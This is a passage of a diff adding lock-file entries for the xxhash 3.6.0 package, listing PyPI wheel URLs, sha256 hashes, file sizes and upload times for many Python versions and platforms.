+    { url = "https://files.pythonhosted.org/packages/c4/ef/3a9b05eb527457d5db13a135a2ae1a26c80fecd624d20f3e8dcc4cb170f3/xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f", size = 212384, upload-time = "2025-10-02T14:34:19.182Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/18/ccc194ee698c6c623acbf0f8c2969811a8a4b6185af5e824cd27b9e4fd3e/xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e", size = 445749, upload-time = "2025-10-02T14:34:20.659Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/86/cf2c0321dc3940a7aa73076f4fd677a0fb3e405cb297ead7d864fd90847e/xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8", size = 193880, upload-time = "2025-10-02T14:34:22.431Z" },
+    { url = "https://files.pythonhosted.org/packages/82/fb/96213c8560e6f948a1ecc9a7613f8032b19ee45f747f4fca4eb31bb6d6ed/xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0", size = 210912, upload-time = "2025-10-02T14:34:23.937Z" },
+    { url = "https://files.pythonhosted.org/packages/40/aa/4395e669b0606a096d6788f40dbdf2b819d6773aa290c19e6e83cbfc312f/xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77", size = 198654, upload-time = "2025-10-02T14:34:25.644Z" },
+    { url = "https://files.pythonhosted.org/packages/67/74/b044fcd6b3d89e9b1b665924d85d3f400636c23590226feb1eb09e1176ce/xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c", size = 210867, upload-time = "2025-10-02T14:34:27.203Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/fd/3ce73bf753b08cb19daee1eb14aa0d7fe331f8da9c02dd95316ddfe5275e/xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b", size = 414012, upload-time = "2025-10-02T14:34:28.409Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/b3/5a4241309217c5c876f156b10778f3ab3af7ba7e3259e6d5f5c7d0129eb2/xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3", size = 191409, upload-time = "2025-10-02T14:34:29.696Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/01/99bfbc15fb9abb9a72b088c1d95219fc4782b7d01fc835bd5744d66dd0b8/xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd", size = 30574, upload-time = "2025-10-02T14:34:31.028Z" },
+    { url = "https://files.pythonhosted.org/packages/65/79/9d24d7f53819fe301b231044ea362ce64e86c74f6e8c8e51320de248b3e5/xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef", size = 31481, upload-time = "2025-10-02T14:34:32.062Z" },
+    { url = "https://files.pythonhosted.org/packages/30/4e/15cd0e3e8772071344eab2961ce83f6e485111fed8beb491a3f1ce100270/xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7", size = 27861, upload-time = "2025-10-02T14:34:33.555Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/07/d9412f3d7d462347e4511181dea65e47e0d0e16e26fbee2ea86a2aefb657/xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c", size = 32744, upload-time = "2025-10-02T14:34:34.622Z" },
+    { url = "https://files.pythonhosted.org/packages/79/35/0429ee11d035fc33abe32dca1b2b69e8c18d236547b9a9b72c1929189b9a/xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204", size = 30816, upload-time = "2025-10-02T14:34:36.043Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/f2/57eb99aa0f7d98624c0932c5b9a170e1806406cdbcdb510546634a1359e0/xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490", size = 194035, upload-time = "2025-10-02T14:34:37.354Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/ed/6224ba353690d73af7a3f1c7cdb1fc1b002e38f783cb991ae338e1eb3d79/xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2", size = 212914, upload-time = "2025-10-02T14:34:38.6Z" },
+    { url = "https://files.pythonhosted.org/packages/38/86/fb6b6130d8dd6b8942cc17ab4d90e223653a89aa32ad2776f8af7064ed13/xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa", size = 212163, upload-time = "2025-10-02T14:34:39.872Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/dc/e84875682b0593e884ad73b2d40767b5790d417bde603cceb6878901d647/xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0", size = 445411, upload-time = "2025-10-02T14:34:41.569Z" },
+    { url = "https://files.pythonhosted.org/packages/11/4f/426f91b96701ec2f37bb2b8cec664eff4f658a11f3fa9d94f0a887ea6d2b/xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2", size = 193883, upload-time = "2025-10-02T14:34:43.249Z" },
+    { url = "https://files.pythonhosted.org/packages/53/5a/ddbb83eee8e28b778eacfc5a85c969673e4023cdeedcfcef61f36731610b/xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9", size = 210392, upload-time = "2025-10-02T14:34:45.042Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/c2/ff69efd07c8c074ccdf0a4f36fcdd3d27363665bcdf4ba399abebe643465/xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e", size = 197898, upload-time = "2025-10-02T14:34:46.302Z" },
+    { url = "https://files.pythonhosted.org/packages/58/ca/faa05ac19b3b622c7c9317ac3e23954187516298a091eb02c976d0d3dd45/xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374", size = 210655, upload-time = "2025-10-02T14:34:47.571Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/7a/06aa7482345480cc0cb597f5c875b11a82c3953f534394f620b0be2f700c/xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d", size = 414001, upload-time = "2025-10-02T14:34:49.273Z" },
+    { url = "https://files.pythonhosted.org/packages/23/07/63ffb386cd47029aa2916b3d2f454e6cc5b9f5c5ada3790377d5430084e7/xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae", size = 191431, upload-time = "2025-10-02T14:34:50.798Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/93/14fde614cadb4ddf5e7cebf8918b7e8fac5ae7861c1875964f17e678205c/xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb", size = 30617, upload-time = "2025-10-02T14:34:51.954Z" },
+    { url = "https://files.pythonhosted.org/packages/13/5d/0d125536cbe7565a83d06e43783389ecae0c0f2ed037b48ede185de477c0/xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c", size = 31534, upload-time = "2025-10-02T14:34:53.276Z" },
+    { url = "https://files.pythonhosted.org/packages/54/85/6ec269b0952ec7e36ba019125982cf11d91256a778c7c3f98a4c5043d283/xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829", size = 27876, upload-time = "2025-10-02T14:34:54.371Z" },
+    { url = "https://files.pythonhosted.org/packages/33/76/35d05267ac82f53ae9b0e554da7c5e281ee61f3cad44c743f0fcd354f211/xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec", size = 32738, upload-time = "2025-10-02T14:34:55.839Z" },
+    { url = "https://files.pythonhosted.org/packages/31/a8/3fbce1cd96534a95e35d5120637bf29b0d7f5d8fa2f6374e31b4156dd419/xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1", size = 30821, upload-time = "2025-10-02T14:34:57.219Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/ea/d387530ca7ecfa183cb358027f1833297c6ac6098223fd14f9782cd0015c/xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6", size = 194127, upload-time = "2025-10-02T14:34:59.21Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/0c/71435dcb99874b09a43b8d7c54071e600a7481e42b3e3ce1eb5226a5711a/xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263", size = 212975, upload-time = "2025-10-02T14:35:00.816Z" },
+    { url = "https://files.pythonhosted.org/packages/84/7a/c2b3d071e4bb4a90b7057228a99b10d51744878f4a8a6dd643c8bd897620/xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546", size = 212241, upload-time = "2025-10-02T14:35:02.207Z" },
+    { url = "https://files.pythonhosted.org/packages/81/5f/640b6eac0128e215f177df99eadcd0f1b7c42c274ab6a394a05059694c5a/xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89", size = 445471, upload-time = "2025-10-02T14:35:03.61Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/1e/3c3d3ef071b051cc3abbe3721ffb8365033a172613c04af2da89d5548a87/xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d", size = 193936, upload-time = "2025-10-02T14:35:05.013Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/bd/4a5f68381939219abfe1c22a9e3a5854a4f6f6f3c4983a87d255f21f2e5d/xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7", size = 210440, upload-time = "2025-10-02T14:35:06.239Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/37/b80fe3d5cfb9faff01a02121a0f4d565eb7237e9e5fc66e73017e74dcd36/xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db", size = 197990, upload-time = "2025-10-02T14:35:07.735Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/fd/2c0a00c97b9e18f72e1f240ad4e8f8a90fd9d408289ba9c7c495ed7dc05c/xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42", size = 210689, upload-time = "2025-10-02T14:35:09.438Z" },
+    { url = "https://files.pythonhosted.org/packages/93/86/5dd8076a926b9a95db3206aba20d89a7fc14dd5aac16e5c4de4b56033140/xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11", size = 414068, upload-time = "2025-10-02T14:35:11.162Z" },
+    { url = "https://files.pythonhosted.org/packages/af/3c/0bb129170ee8f3650f08e993baee550a09593462a5cddd8e44d0011102b1/xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd", size = 191495, upload-time = "2025-10-02T14:35:12.971Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/3a/6797e0114c21d1725e2577508e24006fd7ff1d8c0c502d3b52e45c1771d8/xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799", size = 30620, upload-time = "2025-10-02T14:35:14.129Z" },
+    { url = "https://files.pythonhosted.org/packages/86/15/9bc32671e9a38b413a76d24722a2bf8784a132c043063a8f5152d390b0f9/xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392", size = 31542, upload-time = "2025-10-02T14:35:15.21Z" },
+    { url = "https://files.pythonhosted.org/packages/39/c5/cc01e4f6188656e56112d6a8e0dfe298a16934b8c47a247236549a3f7695/xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6", size = 27880, upload-time = "2025-10-02T14:35:16.315Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/30/25e5321c8732759e930c555176d37e24ab84365482d257c3b16362235212/xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702", size = 32956, upload-time = "2025-10-02T14:35:17.413Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/3c/0573299560d7d9f8ab1838f1efc021a280b5ae5ae2e849034ef3dee18810/xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db", size = 31072, upload-time = "2025-10-02T14:35:18.844Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/1c/52d83a06e417cd9d4137722693424885cc9878249beb3a7c829e74bf7ce9/xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54", size = 196409, upload-time = "2025-10-02T14:35:20.31Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/8e/c6d158d12a79bbd0b878f8355432075fc82759e356ab5a111463422a239b/xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f", size = 215736, upload-time = "2025-10-02T14:35:21.616Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/68/c4c80614716345d55071a396cf03d06e34b5f4917a467faf43083c995155/xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5", size = 214833, upload-time = "2025-10-02T14:35:23.32Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/e9/ae27c8ffec8b953efa84c7c4a6c6802c263d587b9fc0d6e7cea64e08c3af/xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1", size = 448348, upload-time = "2025-10-02T14:35:25.111Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/6b/33e21afb1b5b3f46b74b6bd1913639066af218d704cc0941404ca717fc57/xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee", size = 196070, upload-time = "2025-10-02T14:35:26.586Z" },
+    { url = "https://files.pythonhosted.org/packages/96/b6/fcabd337bc5fa624e7203aa0fa7d0c49eed22f72e93229431752bddc83d9/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd", size = 212907, upload-time = "2025-10-02T14:35:28.087Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/d3/9ee6160e644d660fcf176c5825e61411c7f62648728f69c79ba237250143/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729", size = 200839, upload-time = "2025-10-02T14:35:29.857Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/98/e8de5baa5109394baf5118f5e72ab21a86387c4f89b0e77ef3e2f6b0327b/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292", size = 213304, upload-time = "2025-10-02T14:35:31.222Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/1d/71056535dec5c3177eeb53e38e3d367dd1d16e024e63b1cee208d572a033/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf", size = 416930, upload-time = "2025-10-02T14:35:32.517Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/6c/5cbde9de2cd967c322e651c65c543700b19e7ae3e0aae8ece3469bf9683d/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033", size = 193787, upload-time = "2025-10-02T14:35:33.827Z" },
+    { url = "https://files.pythonhosted.org/packages/19/fa/0172e350361d61febcea941b0cc541d6e6c8d65d153e85f850a7b256ff8a/xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec", size = 30916, upload-time = "2025-10-02T14:35:35.107Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/e6/e8cf858a2b19d6d45820f072eff1bea413910592ff17157cabc5f1227a16/xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8", size = 31799, upload-time = "2025-10-02T14:35:36.165Z" },
+    { url = "https://files.pythonhosted.org/packages/56/15/064b197e855bfb7b343210e82490ae672f8bc7cdf3ddb02e92f64304ee8a/xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746", size = 28044, upload-time = "2025-10-02T14:35:37.195Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/5e/0138bc4484ea9b897864d59fce9be9086030825bc778b76cb5a33a906d37/xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e", size = 32754, upload-time = "2025-10-02T14:35:38.245Z" },
+    { url = "https://files.pythonhosted.org/packages/18/d7/5dac2eb2ec75fd771957a13e5dda560efb2176d5203f39502a5fc571f899/xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405", size = 30846, upload-time = "2025-10-02T14:35:39.6Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/71/8bc5be2bb00deb5682e92e8da955ebe5fa982da13a69da5a40a4c8db12fb/xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3", size = 194343, upload-time = "2025-10-02T14:35:40.69Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/3b/52badfb2aecec2c377ddf1ae75f55db3ba2d321c5e164f14461c90837ef3/xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6", size = 213074, upload-time = "2025-10-02T14:35:42.29Z" },
+    { url = "https://files.pythonhosted.org/packages/a2/2b/ae46b4e9b92e537fa30d03dbc19cdae57ed407e9c26d163895e968e3de85/xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063", size = 212388, upload-time = "2025-10-02T14:35:43.929Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/80/49f88d3afc724b4ac7fbd664c8452d6db51b49915be48c6982659e0e7942/xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7", size = 445614, upload-time = "2025-10-02T14:35:45.216Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/ba/603ce3961e339413543d8cd44f21f2c80e2a7c5cfe692a7b1f2cccf58f3c/xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b", size = 194024, upload-time = "2025-10-02T14:35:46.959Z" },
+    { url = "https://files.pythonhosted.org/packages/78/d1/8e225ff7113bf81545cfdcd79eef124a7b7064a0bba53605ff39590b95c2/xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd", size = 210541, upload-time = "2025-10-02T14:35:48.301Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/58/0f89d149f0bad89def1a8dd38feb50ccdeb643d9797ec84707091d4cb494/xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0", size = 198305, upload-time = "2025-10-02T14:35:49.584Z" },
+    { url = "https://files.pythonhosted.org/packages/11/38/5eab81580703c4df93feb5f32ff8fa7fe1e2c51c1f183ee4e48d4bb9d3d7/xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152", size = 210848, upload-time = "2025-10-02T14:35:50.877Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/6b/953dc4b05c3ce678abca756416e4c130d2382f877a9c30a20d08ee6a77c0/xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11", size = 414142, upload-time = "2025-10-02T14:35:52.15Z" },
+    { url = "https://files.pythonhosted.org/packages/08/a9/238ec0d4e81a10eb5026d4a6972677cbc898ba6c8b9dbaec12ae001b1b35/xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5", size = 191547, upload-time = "2025-10-02T14:35:53.547Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/ee/3cf8589e06c2164ac77c3bf0aa127012801128f1feebf2a079272da5737c/xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f", size = 31214, upload-time = "2025-10-02T14:35:54.746Z" },
+    { url = "https://files.pythonhosted.org/packages/02/5d/a19552fbc6ad4cb54ff953c3908bbc095f4a921bc569433d791f755186f1/xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad", size = 32290, upload-time = "2025-10-02T14:35:55.791Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/11/dafa0643bc30442c887b55baf8e73353a344ee89c1901b5a5c54a6c17d39/xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679", size = 28795, upload-time = "2025-10-02T14:35:57.162Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/db/0e99732ed7f64182aef4a6fb145e1a295558deec2a746265dcdec12d191e/xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4", size = 32955, upload-time = "2025-10-02T14:35:58.267Z" },
+    { url = "https://files.pythonhosted.org/packages/55/f4/2a7c3c68e564a099becfa44bb3d398810cc0ff6749b0d3cb8ccb93f23c14/xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67", size = 31072, upload-time = "2025-10-02T14:35:59.382Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/d9/72a29cddc7250e8a5819dad5d466facb5dc4c802ce120645630149127e73/xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad", size = 196579, upload-time = "2025-10-02T14:36:00.838Z" },
+    { url = "https://files.pythonhosted.org/packages/63/93/b21590e1e381040e2ca305a884d89e1c345b347404f7780f07f2cdd47ef4/xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b", size = 215854, upload-time = "2025-10-02T14:36:02.207Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/b8/edab8a7d4fa14e924b29be877d54155dcbd8b80be85ea00d2be3413a9ed4/xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b", size = 214965, upload-time = "2025-10-02T14:36:03.507Z" },
+    { url = "https://files.pythonhosted.org/packages/27/67/dfa980ac7f0d509d54ea0d5a486d2bb4b80c3f1bb22b66e6a05d3efaf6c0/xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca", size = 448484, upload-time = "2025-10-02T14:36:04.828Z" },
